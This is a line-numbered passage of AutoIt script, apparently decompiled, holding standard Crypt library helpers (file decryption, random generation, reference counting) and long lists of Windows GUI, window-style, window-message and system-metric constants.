  669.                 $hinfile = FileOpen($ssourcefile, $fo_binary)
  670.                 If $hinfile = -1 Then
  671.                         $ierror = 2
  672.                         $iextended = _winapi_getlasterror()
  673.                         $breturn = False
  674.                         ExitLoop
  675.                 EndIf
  676.                 $houtfile = FileOpen($sdestinationfile, $fo_overwrite + $fo_createpath + $fo_binary)
  677.                 If $houtfile = -1 Then
  678.                         $ierror = 3
  679.                         $iextended = _winapi_getlasterror()
  680.                         $breturn = False
  681.                         ExitLoop
  682.                 EndIf
  683.                 Do
  684.                         $dtempdata = FileRead($hinfile, 1024 * 1024)
  685.                         $iread += BinaryLen($dtempdata)
  686.                         If $iread = $ifilesize Then
  687.                                 $dtempdata = _crypt_decryptdata($dtempdata, $vcryptkey, $calg_userkey, True)
  688.                                 If @error Then
  689.                                         $ierror = @error + 400
  690.                                         $iextended = @extended
  691.                                         $breturn = False
  692.                                 EndIf
  693.                                 FileWrite($houtfile, $dtempdata)
  694.                                 ExitLoop 2
  695.                         Else
  696.                                 $dtempdata = _crypt_decryptdata($dtempdata, $vcryptkey, $calg_userkey, False)
  697.                                 If @error Then
  698.                                         $ierror = @error + 500
  699.                                         $iextended = @extended
  700.                                         $breturn = False
  701.                                         ExitLoop 2
  702.                                 EndIf
  703.                                 FileWrite($houtfile, $dtempdata)
  704.                         EndIf
  705.                 Until False
  706.         Until True
  707.         If $ialgid <> $calg_userkey Then _crypt_destroykey($vcryptkey)
  708.         _crypt_shutdown()
  709.         If $hinfile <> -1 Then FileClose($hinfile)
  710.         If $houtfile <> -1 Then FileClose($houtfile)
  711.         Return SetError($ierror, $iextended, $breturn)
  712. EndFunc
  713.  
  714. Func _crypt_genrandom($pbuffer, $isize)
  715.         _crypt_startup()
  716.         If @error Then Return SetError(@error, @extended, False)
  717.         Local $acall = DllCall(__crypt_dllhandle(), "bool", "CryptGenRandom", "handle", __crypt_context(), "dword", $isize, "struct*", $pbuffer)
  718.         Local $ierror = @error, $iextended = @extended
  719.         If NOT $acall[0] Then $iextended = _winapi_getlasterror()
  720.         _crypt_shutdown()
  721.         If $ierror OR (NOT $acall[0]) Then
  722.                 Return SetError($ierror + 10, $iextended, False)
  723.         Else
  724.                 Return True
  725.         EndIf
  726. EndFunc
  727.  
  728. Func __crypt_refcount()
  729.         Return $__g_acryptinternaldata[0]
  730. EndFunc
  731.  
  732. Func __crypt_refcountinc()
  733.         $__g_acryptinternaldata[0] += 1
  734. EndFunc
  735.  
  736. Func __crypt_refcountdec()
  737.         If $__g_acryptinternaldata[0] > 0 Then $__g_acryptinternaldata[0] -= 1
  738. EndFunc
  739.  
  740. Func __crypt_dllhandle()
  741.         Return $__g_acryptinternaldata[1]
  742. EndFunc
  743.  
  744. Func __crypt_dllhandleset($hadvapi32)
  745.         $__g_acryptinternaldata[1] = $hadvapi32
  746. EndFunc
  747.  
  748. Func __crypt_context()
  749.         Return $__g_acryptinternaldata[2]
  750. EndFunc
  751.  
  752. Func __crypt_contextset($hcryptcontext)
  753.         $__g_acryptinternaldata[2] = $hcryptcontext
  754. EndFunc
  755.  
  756. Func __crypt_getcalgfromcryptkey($vcryptkey)
  757.         Local $talgid = DllStructCreate("uint")
  758.         Local $acall = DllCall(__crypt_dllhandle(), "bool", "CryptGetKeyParam", "handle", $vcryptkey, "dword", $kp_algid, "struct*", $talgid, "dword*", DllStructGetSize($talgid), "dword", 0)
  759.         Local $ierror = @error, $iextended = @extended
  760.         If NOT $acall[0] Then $iextended = _winapi_getlasterror()
  761.         If $ierror OR NOT $acall[0] Then
  762.                 Return SetError($ierror + 80, $iextended, $crypt_userdata)
  763.         Else
  764.                 Return DllStructGetData($talgid, 1)
  765.         EndIf
  766. EndFunc
  767.  
  768. Global Const $gui_event_single = 0
  769. Global Const $gui_event_array = 1
  770. Global Const $gui_event_none = 0
  771. Global Const $gui_event_close = -3
  772. Global Const $gui_event_minimize = -4
  773. Global Const $gui_event_restore = -5
  774. Global Const $gui_event_maximize = -6
  775. Global Const $gui_event_primarydown = -7
  776. Global Const $gui_event_primaryup = -8
  777. Global Const $gui_event_secondarydown = -9
  778. Global Const $gui_event_secondaryup = -10
  779. Global Const $gui_event_mousemove = -11
  780. Global Const $gui_event_resized = -12
  781. Global Const $gui_event_dropped = -13
  782. Global Const $gui_rundefmsg = "GUI_RUNDEFMSG"
  783. Global Const $gui_avistop = 0
  784. Global Const $gui_avistart = 1
  785. Global Const $gui_aviclose = 2
  786. Global Const $gui_checked = 1
  787. Global Const $gui_indeterminate = 2
  788. Global Const $gui_unchecked = 4
  789. Global Const $gui_dropaccepted = 8
  790. Global Const $gui_nodropaccepted = 4096
  791. Global Const $gui_acceptfiles = $gui_dropaccepted
  792. Global Const $gui_show = 16
  793. Global Const $gui_hide = 32
  794. Global Const $gui_enable = 64
  795. Global Const $gui_disable = 128
  796. Global Const $gui_focus = 256
  797. Global Const $gui_nofocus = 8192
  798. Global Const $gui_defbutton = 512
  799. Global Const $gui_expand = 1024
  800. Global Const $gui_ontop = 2048
  801. Global Const $gui_fontnormal = 0
  802. Global Const $gui_fontitalic = 2
  803. Global Const $gui_fontunder = 4
  804. Global Const $gui_fontstrike = 8
  805. Global Const $gui_dockauto = 1
  806. Global Const $gui_dockleft = 2
  807. Global Const $gui_dockright = 4
  808. Global Const $gui_dockhcenter = 8
  809. Global Const $gui_docktop = 32
  810. Global Const $gui_dockbottom = 64
  811. Global Const $gui_dockvcenter = 128
  812. Global Const $gui_dockwidth = 256
  813. Global Const $gui_dockheight = 512
  814. Global Const $gui_docksize = 768
  815. Global Const $gui_dockmenubar = 544
  816. Global Const $gui_dockstatebar = 576
  817. Global Const $gui_dockall = 802
  818. Global Const $gui_dockborders = 102
  819. Global Const $gui_gr_close = 1
  820. Global Const $gui_gr_line = 2
  821. Global Const $gui_gr_bezier = 4
  822. Global Const $gui_gr_move = 6
  823. Global Const $gui_gr_color = 8
  824. Global Const $gui_gr_rect = 10
  825. Global Const $gui_gr_ellipse = 12
  826. Global Const $gui_gr_pie = 14
  827. Global Const $gui_gr_dot = 16
  828. Global Const $gui_gr_pixel = 18
  829. Global Const $gui_gr_hint = 20
  830. Global Const $gui_gr_refresh = 22
  831. Global Const $gui_gr_pensize = 24
  832. Global Const $gui_gr_nobkcolor = -2
  833. Global Const $gui_bkcolor_default = -1
  834. Global Const $gui_bkcolor_transparent = -2
  835. Global Const $gui_bkcolor_lv_alternate = -33554432
  836. Global Const $gui_read_default = 0
  837. Global Const $gui_read_extended = 1
  838. Global Const $gui_cursor_nooverride = 0
  839. Global Const $gui_cursor_override = 1
  840. Global Const $gui_ws_ex_parentdrag = 1048576
  841. Global Const $wc_animate = "SysAnimate32"
  842. Global Const $wc_button = "Button"
  843. Global Const $wc_combobox = "ComboBox"
  844. Global Const $wc_comboboxex = "ComboBoxEx32"
  845. Global Const $wc_datetimepick = "SysDateTimePick32"
  846. Global Const $wc_edit = "Edit"
  847. Global Const $wc_header = "SysHeader32"
  848. Global Const $wc_hotkey = "msctls_hotkey32"
  849. Global Const $wc_ipaddress = "SysIPAddress32"
  850. Global Const $wc_link = "SysLink"
  851. Global Const $wc_listbox = "ListBox"
  852. Global Const $wc_listview = "SysListView32"
  853. Global Const $wc_monthcal = "SysMonthCal32"
  854. Global Const $wc_nativefontctl = "NativeFontCtl"
  855. Global Const $wc_pagescroller = "SysPager"
  856. Global Const $wc_progress = "msctls_progress32"
  857. Global Const $wc_rebar = "ReBarWindow32"
  858. Global Const $wc_scrollbar = "ScrollBar"
  859. Global Const $wc_static = "Static"
  860. Global Const $wc_statusbar = "msctls_statusbar32"
  861. Global Const $wc_tabcontrol = "SysTabControl32"
  862. Global Const $wc_toolbar = "ToolbarWindow32"
  863. Global Const $wc_tooltips = "tooltips_class32"
  864. Global Const $wc_trackbar = "msctls_trackbar32"
  865. Global Const $wc_treeview = "SysTreeView32"
  866. Global Const $wc_updown = "msctls_updown32"
  867. Global Const $ws_overlapped = 0
  868. Global Const $ws_tiled = $ws_overlapped
  869. Global Const $ws_maximizebox = 65536
  870. Global Const $ws_minimizebox = 131072
  871. Global Const $ws_tabstop = 65536
  872. Global Const $ws_group = 131072
  873. Global Const $ws_sizebox = 262144
  874. Global Const $ws_thickframe = $ws_sizebox
  875. Global Const $ws_sysmenu = 524288
  876. Global Const $ws_hscroll = 1048576
  877. Global Const $ws_vscroll = 2097152
  878. Global Const $ws_dlgframe = 4194304
  879. Global Const $ws_border = 8388608
  880. Global Const $ws_caption = 12582912
  881. Global Const $ws_overlappedwindow = BitOR($ws_caption, $ws_maximizebox, $ws_minimizebox, $ws_overlapped, $ws_sysmenu, $ws_thickframe)
  882. Global Const $ws_tiledwindow = $ws_overlappedwindow
  883. Global Const $ws_maximize = 16777216
  884. Global Const $ws_clipchildren = 33554432
  885. Global Const $ws_clipsiblings = 67108864
  886. Global Const $ws_disabled = 134217728
  887. Global Const $ws_visible = 268435456
  888. Global Const $ws_minimize = 536870912
  889. Global Const $ws_iconic = $ws_minimize
  890. Global Const $ws_child = 1073741824
  891. Global Const $ws_childwindow = $ws_child
  892. Global Const $ws_popup = -2147483648
  893. Global Const $ws_popupwindow = -2138570752
  894. Global Const $ds_3dlook = 4
  895. Global Const $ds_absalign = 1
  896. Global Const $ds_center = 2048
  897. Global Const $ds_centermouse = 4096
  898. Global Const $ds_contexthelp = 8192
  899. Global Const $ds_control = 1024
  900. Global Const $ds_fixedsys = 8
  901. Global Const $ds_localedit = 32
  902. Global Const $ds_modalframe = 128
  903. Global Const $ds_nofailcreate = 16
  904. Global Const $ds_noidlemsg = 256
  905. Global Const $ds_setfont = 64
  906. Global Const $ds_setforeground = 512
  907. Global Const $ds_shellfont = BitOR($ds_fixedsys, $ds_setfont)
  908. Global Const $ds_sysmodal = 2
  909. Global Const $ws_ex_acceptfiles = 16
  910. Global Const $ws_ex_appwindow = 262144
  911. Global Const $ws_ex_composited = 33554432
  912. Global Const $ws_ex_controlparent = 65536
  913. Global Const $ws_ex_clientedge = 512
  914. Global Const $ws_ex_contexthelp = 1024
  915. Global Const $ws_ex_dlgmodalframe = 1
  916. Global Const $ws_ex_layered = 524288
  917. Global Const $ws_ex_layoutrtl = 4194304
  918. Global Const $ws_ex_left = 0
  919. Global Const $ws_ex_leftscrollbar = 16384
  920. Global Const $ws_ex_ltrreading = 0
  921. Global Const $ws_ex_mdichild = 64
  922. Global Const $ws_ex_noactivate = 134217728
  923. Global Const $ws_ex_noinheritlayout = 1048576
  924. Global Const $ws_ex_noparentnotify = 4
  925. Global Const $ws_ex_noredirectionbitmap = 2097152
  926. Global Const $ws_ex_right = 4096
  927. Global Const $ws_ex_rightscrollbar = 0
  928. Global Const $ws_ex_rtlreading = 8192
  929. Global Const $ws_ex_staticedge = 131072
  930. Global Const $ws_ex_toolwindow = 128
  931. Global Const $ws_ex_topmost = 8
  932. Global Const $ws_ex_transparent = 32
  933. Global Const $ws_ex_windowedge = 256
  934. Global Const $ws_ex_overlappedwindow = BitOR($ws_ex_clientedge, $ws_ex_windowedge)
  935. Global Const $ws_ex_palettewindow = BitOR($ws_ex_toolwindow, $ws_ex_topmost, $ws_ex_windowedge)
  936. Global Const $wm_null = 0
  937. Global Const $wm_create = 1
  938. Global Const $wm_destroy = 2
  939. Global Const $wm_move = 3
  940. Global Const $wm_sizewait = 4
  941. Global Const $wm_size = 5
  942. Global Const $wm_activate = 6
  943. Global Const $wm_setfocus = 7
  944. Global Const $wm_killfocus = 8
  945. Global Const $wm_setvisible = 9
  946. Global Const $wm_enable = 10
  947. Global Const $wm_setredraw = 11
  948. Global Const $wm_settext = 12
  949. Global Const $wm_gettext = 13
  950. Global Const $wm_gettextlength = 14
  951. Global Const $wm_paint = 15
  952. Global Const $wm_close = 16
  953. Global Const $wm_queryendsession = 17
  954. Global Const $wm_quit = 18
  955. Global Const $wm_erasebkgnd = 20
  956. Global Const $wm_queryopen = 19
  957. Global Const $wm_syscolorchange = 21
  958. Global Const $wm_endsession = 22
  959. Global Const $wm_systemerror = 23
  960. Global Const $wm_showwindow = 24
  961. Global Const $wm_ctlcolor = 25
  962. Global Const $wm_settingchange = 26
  963. Global Const $wm_wininichange = 26
  964. Global Const $wm_devmodechange = 27
  965. Global Const $wm_activateapp = 28
  966. Global Const $wm_fontchange = 29
  967. Global Const $wm_timechange = 30
  968. Global Const $wm_cancelmode = 31
  969. Global Const $wm_setcursor = 32
  970. Global Const $wm_mouseactivate = 33
  971. Global Const $wm_childactivate = 34
  972. Global Const $wm_queuesync = 35
  973. Global Const $wm_getminmaxinfo = 36
  974. Global Const $wm_logoff = 37
  975. Global Const $wm_painticon = 38
  976. Global Const $wm_iconerasebkgnd = 39
  977. Global Const $wm_nextdlgctl = 40
  978. Global Const $wm_alttabactive = 41
  979. Global Const $wm_spoolerstatus = 42
  980. Global Const $wm_drawitem = 43
  981. Global Const $wm_measureitem = 44
  982. Global Const $wm_deleteitem = 45
  983. Global Const $wm_vkeytoitem = 46
  984. Global Const $wm_chartoitem = 47
  985. Global Const $wm_setfont = 48
  986. Global Const $wm_getfont = 49
  987. Global Const $wm_sethotkey = 50
  988. Global Const $wm_gethotkey = 51
  989. Global Const $wm_filesyschange = 52
  990. Global Const $wm_isactiveicon = 53
  991. Global Const $wm_queryparkicon = 54
  992. Global Const $wm_querydragicon = 55
  993. Global Const $wm_winhelp = 56
  994. Global Const $wm_compareitem = 57
  995. Global Const $wm_fullscreen = 58
  996. Global Const $wm_clientshutdown = 59
  997. Global Const $wm_ddemlevent = 60
  998. Global Const $wm_getobject = 61
  999. Global Const $wm_calcscroll = 63
  1000. Global Const $wm_testing = 64
  1001. Global Const $wm_compacting = 65
  1002. Global Const $wm_otherwindowcreated = 66
  1003. Global Const $wm_otherwindowdestroyed = 67
  1004. Global Const $wm_commnotify = 68
  1005. Global Const $wm_mediastatuschange = 69
  1006. Global Const $wm_windowposchanging = 70
  1007. Global Const $wm_windowposchanged = 71
  1008. Global Const $wm_power = 72
  1009. Global Const $wm_copyglobaldata = 73
  1010. Global Const $wm_copydata = 74
  1011. Global Const $wm_canceljournal = 75
  1012. Global Const $wm_logonnotify = 76
  1013. Global Const $wm_keyf1 = 77
  1014. Global Const $wm_notify = 78
  1015. Global Const $wm_access_window = 79
  1016. Global Const $wm_inputlangchangerequest = 80
  1017. Global Const $wm_inputlangchange = 81
  1018. Global Const $wm_tcard = 82
  1019. Global Const $wm_help = 83
  1020. Global Const $wm_userchanged = 84
  1021. Global Const $wm_notifyformat = 85
  1022. Global Const $wm_qm_activate = 96
  1023. Global Const $wm_hook_do_callback = 97
  1024. Global Const $wm_syscopydata = 98
  1025. Global Const $wm_finaldestroy = 112
  1026. Global Const $wm_measureitem_clientdata = 113
  1027. Global Const $wm_contextmenu = 123
  1028. Global Const $wm_stylechanging = 124
  1029. Global Const $wm_stylechanged = 125
  1030. Global Const $wm_displaychange = 126
  1031. Global Const $wm_geticon = 127
  1032. Global Const $wm_seticon = 128
  1033. Global Const $wm_nccreate = 129
  1034. Global Const $wm_ncdestroy = 130
  1035. Global Const $wm_nccalcsize = 131
  1036. Global Const $wm_nchittest = 132
  1037. Global Const $wm_ncpaint = 133
  1038. Global Const $wm_ncactivate = 134
  1039. Global Const $wm_getdlgcode = 135
  1040. Global Const $wm_syncpaint = 136
  1041. Global Const $wm_synctask = 137
  1042. Global Const $wm_kludgeminrect = 139
  1043. Global Const $wm_lpkdrawswitchwnd = 140
  1044. Global Const $wm_uahdestroywindow = 144
  1045. Global Const $wm_uahdrawmenu = 145
  1046. Global Const $wm_uahdrawmenuitem = 146
  1047. Global Const $wm_uahinitmenu = 147
  1048. Global Const $wm_uahmeasuremenuitem = 148
  1049. Global Const $wm_uahncpaintmenupopup = 149
  1050. Global Const $wm_ncmousemove = 160
  1051. Global Const $wm_nclbuttondown = 161
  1052. Global Const $wm_nclbuttonup = 162
  1053. Global Const $wm_nclbuttondblclk = 163
  1054. Global Const $wm_ncrbuttondown = 164
  1055. Global Const $wm_ncrbuttonup = 165
  1056. Global Const $wm_ncrbuttondblclk = 166
  1057. Global Const $wm_ncmbuttondown = 167
  1058. Global Const $wm_ncmbuttonup = 168
  1059. Global Const $wm_ncmbuttondblclk = 169
  1060. Global Const $wm_ncxbuttondown = 171
  1061. Global Const $wm_ncxbuttonup = 172
  1062. Global Const $wm_ncxbuttondblclk = 173
  1063. Global Const $wm_ncuahdrawcaption = 174
  1064. Global Const $wm_ncuahdrawframe = 175
  1065. Global Const $wm_input_device_change = 254
  1066. Global Const $wm_input = 255
  1067. Global Const $wm_keydown = 256
  1068. Global Const $wm_keyfirst = 256
  1069. Global Const $wm_keyup = 257
  1070. Global Const $wm_char = 258
  1071. Global Const $wm_deadchar = 259
  1072. Global Const $wm_syskeydown = 260
  1073. Global Const $wm_syskeyup = 261
  1074. Global Const $wm_syschar = 262
  1075. Global Const $wm_sysdeadchar = 263
  1076. Global Const $wm_yomichar = 264
  1077. Global Const $wm_keylast = 265
  1078. Global Const $wm_unichar = 265
  1079. Global Const $wm_convertrequest = 266
  1080. Global Const $wm_convertresult = 267
  1081. Global Const $wm_im_info = 268
  1082. Global Const $wm_ime_startcomposition = 269
  1083. Global Const $wm_ime_endcomposition = 270
  1084. Global Const $wm_ime_composition = 271
  1085. Global Const $wm_ime_keylast = 271
  1086. Global Const $wm_initdialog = 272
  1087. Global Const $wm_command = 273
  1088. Global Const $wm_syscommand = 274
  1089. Global Const $wm_timer = 275
  1090. Global Const $wm_hscroll = 276
  1091. Global Const $wm_vscroll = 277
  1092. Global Const $wm_initmenu = 278
  1093. Global Const $wm_initmenupopup = 279
  1094. Global Const $wm_systimer = 280
  1095. Global Const $wm_gesture = 281
  1096. Global Const $wm_gesturenotify = 282
  1097. Global Const $wm_gestureinput = 283
  1098. Global Const $wm_gesturenotified = 284
  1099. Global Const $wm_menuselect = 287
  1100. Global Const $wm_menuchar = 288
  1101. Global Const $wm_enteridle = 289
  1102. Global Const $wm_menurbuttonup = 290
  1103. Global Const $wm_menudrag = 291
  1104. Global Const $wm_menugetobject = 292
  1105. Global Const $wm_uninitmenupopup = 293
  1106. Global Const $wm_menucommand = 294
  1107. Global Const $wm_changeuistate = 295
  1108. Global Const $wm_updateuistate = 296
  1109. Global Const $wm_queryuistate = 297
  1110. Global Const $wm_lbtrackpoint = 305
  1111. Global Const $wm_ctlcolormsgbox = 306
  1112. Global Const $wm_ctlcoloredit = 307
  1113. Global Const $wm_ctlcolorlistbox = 308
  1114. Global Const $wm_ctlcolorbtn = 309
  1115. Global Const $wm_ctlcolordlg = 310
  1116. Global Const $wm_ctlcolorscrollbar = 311
  1117. Global Const $wm_ctlcolorstatic = 312
  1118. Global Const $mn_gethmenu = 481
  1119. Global Const $wm_parentnotify = 528
  1120. Global Const $wm_entermenuloop = 529
  1121. Global Const $wm_exitmenuloop = 530
  1122. Global Const $wm_nextmenu = 531
  1123. Global Const $wm_sizing = 532
  1124. Global Const $wm_capturechanged = 533
  1125. Global Const $wm_moving = 534
  1126. Global Const $wm_powerbroadcast = 536
  1127. Global Const $wm_devicechange = 537
  1128. Global Const $wm_mdicreate = 544
  1129. Global Const $wm_mdidestroy = 545
  1130. Global Const $wm_mdiactivate = 546
  1131. Global Const $wm_mdirestore = 547
  1132. Global Const $wm_mdinext = 548
  1133. Global Const $wm_mdimaximize = 549
  1134. Global Const $wm_mditile = 550
  1135. Global Const $wm_mdicascade = 551
  1136. Global Const $wm_mdiiconarrange = 552
  1137. Global Const $wm_mdigetactive = 553
  1138. Global Const $wm_dropobject = 554
  1139. Global Const $wm_querydropobject = 555
  1140. Global Const $wm_begindrag = 556
  1141. Global Const $wm_dragloop = 557
  1142. Global Const $wm_dragselect = 558
  1143. Global Const $wm_dragmove = 559
  1144. Global Const $wm_mdisetmenu = 560
  1145. Global Const $wm_entersizemove = 561
  1146. Global Const $wm_exitsizemove = 562
  1147. Global Const $wm_dropfiles = 563
  1148. Global Const $wm_mdirefreshmenu = 564
  1149. Global Const $wm_touch = 576
  1150. Global Const $wm_ime_setcontext = 641
  1151. Global Const $wm_ime_notify = 642
  1152. Global Const $wm_ime_control = 643
  1153. Global Const $wm_ime_compositionfull = 644
  1154. Global Const $wm_ime_select = 645
  1155. Global Const $wm_ime_char = 646
  1156. Global Const $wm_ime_system = 647
  1157. Global Const $wm_ime_request = 648
  1158. Global Const $wm_ime_keydown = 656
  1159. Global Const $wm_ime_keyup = 657
  1160. Global Const $wm_ncmousehover = 672
  1161. Global Const $wm_mousehover = 673
  1162. Global Const $wm_ncmouseleave = 674
  1163. Global Const $wm_mouseleave = 675
  1164. Global Const $wm_wtssession_change = 689
  1165. Global Const $wm_tablet_first = 704
  1166. Global Const $wm_tablet_last = 735
  1167. Global Const $wm_cut = 768
  1168. Global Const $wm_copy = 769
  1169. Global Const $wm_paste = 770
  1170. Global Const $wm_clear = 771
  1171. Global Const $wm_undo = 772
  1172. Global Const $wm_paletteischanging = 784
  1173. Global Const $wm_hotkey = 786
  1174. Global Const $wm_palettechanged = 785
  1175. Global Const $wm_sysmenu = 787
  1176. Global Const $wm_hookmsg = 788
  1177. Global Const $wm_exitprocess = 789
  1178. Global Const $wm_wakethread = 790
  1179. Global Const $wm_print = 791
  1180. Global Const $wm_printclient = 792
  1181. Global Const $wm_appcommand = 793
  1182. Global Const $wm_querynewpalette = 783
  1183. Global Const $wm_themechanged = 794
  1184. Global Const $wm_uahinit = 795
  1185. Global Const $wm_desktopnotify = 796
  1186. Global Const $wm_clipboardupdate = 797
  1187. Global Const $wm_dwmcompositionchanged = 798
  1188. Global Const $wm_dwmncrenderingchanged = 799
  1189. Global Const $wm_dwmcolorizationcolorchanged = 800
  1190. Global Const $wm_dwmwindowmaximizedchange = 801
  1191. Global Const $wm_dwmexileframe = 802
  1192. Global Const $wm_dwmsendiconicthumbnail = 803
  1193. Global Const $wm_magnification_started = 804
  1194. Global Const $wm_magnification_ended = 805
  1195. Global Const $wm_dwmsendiconiclivepreviewbitmap = 806
  1196. Global Const $wm_dwmthumbnailsizechanged = 807
  1197. Global Const $wm_magnification_output = 808
  1198. Global Const $wm_measurecontrol = 816
  1199. Global Const $wm_getactiontext = 817
  1200. Global Const $wm_forwardkeydown = 819
  1201. Global Const $wm_forwardkeyup = 820
  1202. Global Const $wm_gettitlebarinfoex = 831
  1203. Global Const $wm_notifywow = 832
  1204. Global Const $wm_handheldfirst = 856
  1205. Global Const $wm_handheldlast = 863
  1206. Global Const $wm_afxfirst = 864
  1207. Global Const $wm_afxlast = 895
  1208. Global Const $wm_penwinfirst = 896
  1209. Global Const $wm_penwinlast = 911
  1210. Global Const $wm_dde_initiate = 992
  1211. Global Const $wm_dde_terminate = 993
  1212. Global Const $wm_dde_advise = 994
  1213. Global Const $wm_dde_unadvise = 995
  1214. Global Const $wm_dde_ack = 996
  1215. Global Const $wm_dde_data = 997
  1216. Global Const $wm_dde_request = 998
  1217. Global Const $wm_dde_poke = 999
  1218. Global Const $wm_dde_execute = 1000
  1219. Global Const $wm_dbnotification = 1021
  1220. Global Const $wm_netconnect = 1022
  1221. Global Const $wm_hibernate = 1023
  1222. Global Const $wm_user = 1024
  1223. Global Const $wm_app = 32768
  1224. Global Const $nm_first = 0
  1225. Global Const $nm_outofmemory = $nm_first - 1
  1226. Global Const $nm_click = $nm_first - 2
  1227. Global Const $nm_dblclk = $nm_first - 3
  1228. Global Const $nm_return = $nm_first - 4
  1229. Global Const $nm_rclick = $nm_first - 5
  1230. Global Const $nm_rdblclk = $nm_first - 6
  1231. Global Const $nm_setfocus = $nm_first - 7
  1232. Global Const $nm_killfocus = $nm_first - 8
  1233. Global Const $nm_customdraw = $nm_first - 12
  1234. Global Const $nm_hover = $nm_first - 13
  1235. Global Const $nm_nchittest = $nm_first - 14
  1236. Global Const $nm_keydown = $nm_first - 15
  1237. Global Const $nm_releasedcapture = $nm_first - 16
  1238. Global Const $nm_setcursor = $nm_first - 17
  1239. Global Const $nm_char = $nm_first - 18
  1240. Global Const $nm_tooltipscreated = $nm_first - 19
  1241. Global Const $nm_ldown = $nm_first - 20
  1242. Global Const $nm_rdown = $nm_first - 21
  1243. Global Const $nm_themechanged = $nm_first - 22
  1244. Global Const $wm_mousefirst = 512
  1245. Global Const $wm_mousemove = 512
  1246. Global Const $wm_lbuttondown = 513
  1247. Global Const $wm_lbuttonup = 514
  1248. Global Const $wm_lbuttondblclk = 515
  1249. Global Const $wm_rbuttondown = 516
  1250. Global Const $wm_rbuttonup = 517
  1251. Global Const $wm_rbuttondblclk = 518
  1252. Global Const $wm_mbuttondown = 519
  1253. Global Const $wm_mbuttonup = 520
  1254. Global Const $wm_mbuttondblclk = 521
  1255. Global Const $wm_mousewheel = 522
  1256. Global Const $wm_xbuttondown = 523
  1257. Global Const $wm_xbuttonup = 524
  1258. Global Const $wm_xbuttondblclk = 525
  1259. Global Const $wm_mousehwheel = 526
  1260. Global Const $ps_solid = 0
  1261. Global Const $ps_dash = 1
  1262. Global Const $ps_dot = 2
  1263. Global Const $ps_dashdot = 3
  1264. Global Const $ps_dashdotdot = 4
  1265. Global Const $ps_null = 5
  1266. Global Const $ps_insideframe = 6
  1267. Global Const $ps_userstyle = 7
  1268. Global Const $ps_alternate = 8
  1269. Global Const $ps_endcap_round = 0
  1270. Global Const $ps_endcap_square = 256
  1271. Global Const $ps_endcap_flat = 512
  1272. Global Const $ps_join_bevel = 4096
  1273. Global Const $ps_join_miter = 8192
  1274. Global Const $ps_join_round = 0
  1275. Global Const $ps_geometric = 65536
  1276. Global Const $ps_cosmetic = 0
  1277. Global Const $lwa_alpha = 2
  1278. Global Const $lwa_colorkey = 1
  1279. Global Const $rgn_and = 1
  1280. Global Const $rgn_or = 2
  1281. Global Const $rgn_xor = 3
  1282. Global Const $rgn_diff = 4
  1283. Global Const $rgn_copy = 5
  1284. Global Const $errorregion = 0
  1285. Global Const $nullregion = 1
  1286. Global Const $simpleregion = 2
  1287. Global Const $complexregion = 3
  1288. Global Const $transparent = 1
  1289. Global Const $opaque = 2
  1290. Global Const $ccm_first = 8192
  1291. Global Const $ccm_getunicodeformat = ($ccm_first + 6)
  1292. Global Const $ccm_setunicodeformat = ($ccm_first + 5)
  1293. Global Const $ccm_setbkcolor = $ccm_first + 1
  1294. Global Const $ccm_setcolorscheme = $ccm_first + 2
  1295. Global Const $ccm_getcolorscheme = $ccm_first + 3
  1296. Global Const $ccm_getdroptarget = $ccm_first + 4
  1297. Global Const $ccm_setwindowtheme = $ccm_first + 11
  1298. Global Const $ga_parent = 1
  1299. Global Const $ga_root = 2
  1300. Global Const $ga_rootowner = 3
  1301. Global Const $sm_cxscreen = 0
  1302. Global Const $sm_cyscreen = 1
  1303. Global Const $sm_cxvscroll = 2
  1304. Global Const $sm_cyhscroll = 3
  1305. Global Const $sm_cycaption = 4
  1306. Global Const $sm_cxborder = 5
  1307. Global Const $sm_cyborder = 6
  1308. Global Const $sm_cxfixedframe = 7
  1309. Global Const $sm_cxdlgframe = $sm_cxfixedframe
  1310. Global Const $sm_cyfixedframe = 8
  1311. Global Const $sm_cydlgframe = $sm_cyfixedframe
  1312. Global Const $sm_cyvthumb = 9
  1313. Global Const $sm_cxhthumb = 10
  1314. Global Const $sm_cxicon = 11
  1315. Global Const $sm_cyicon = 12
  1316. Global Const $sm_cxcursor = 13
  1317. Global Const $sm_cycursor = 14
  1318. Global Const $sm_cymenu = 15
  1319. Global Const $sm_cxfullscreen = 16
  1320. Global Const $sm_cyfullscreen = 17
  1321. Global Const $sm_cykanjiwindow = 18
  1322. Global Const $sm_mousepresent = 19
  1323. Global Const $sm_cyvscroll = 20
  1324. Global Const $sm_cxhscroll = 21
  1325. Global Const $sm_debug = 22
  1326. Global Const $sm_swapbutton = 23
  1327. Global Const $sm_reserved1 = 24
  1328. Global Const $sm_reserved2 = 25
  1329. Global Const $sm_reserved3 = 26
  1330. Global Const $sm_reserved4 = 27
  1331. Global Const $sm_cxmin = 28
  1332. Global Const $sm_cymin = 29
  1333. Global Const $sm_cxsize = 30
  1334. Global Const $sm_cysize = 31
  1335. Global Const $sm_cxsizeframe = 32
  1336. Global Const $sm_cxframe = $sm_cxsizeframe
  1337. Global Const $sm_cysizeframe = 33
  1338. Global Const $sm_cyframe = $sm_cysizeframe
  1339. Global Const $sm_cxmintrack = 34
  1340. Global Const $sm_cymintrack = 35
  1341. Global Const $sm_cxdoubleclk = 36
  1342. Global Const $sm_cydoubleclk = 37
  1343. Global Const $sm_cxiconspacing = 38
  1344. Global Const $sm_cyiconspacing = 39
  1345. Global Const $sm_menudropalignment = 40
  1346. Global Const $sm_penwindows = 41
  1347. Global Const $sm_dbcsenabled = 42
  1348. Global Const $sm_cmousebuttons = 43
  1349. Global Const $sm_secure = 44
  1350. Global Const $sm_cxedge = 45
  1351. Global Const $sm_cyedge = 46
  1352. Global Const $sm_cxminspacing = 47
  1353. Global Const $sm_cyminspacing = 48
  1354. Global Const $sm_cxsmicon = 49
  1355. Global Const $sm_cysmicon = 50
  1356. Global Const $sm_cysmcaption = 51
  1357. Global Const $sm_cxsmsize = 52
  1358. Global Const $sm_cysmsize = 53
  1359. Global Const $sm_cxmenusize = 54
  1360. Global Const $sm_cymenusize = 55
  1361. Global Const $sm_arrange = 56
  1362. Global Const $sm_cxminimized = 57
  1363. Global Const $sm_cyminimized = 58
  1364. Global Const $sm_cxmaxtrack = 59
  1365. Global Const $sm_cymaxtrack = 60
  1366. Global Const $sm_cxmaximized = 61
  1367. Global Const $sm_cymaximized = 62
  1368. Global Const $sm_network = 63
  1369. Global Const $sm_cleanboot = 67
  1370. Global Const $sm_cxdrag = 68
  1371. Global Const $sm_cydrag = 69
  1372. Global Const $sm_showsounds = 70
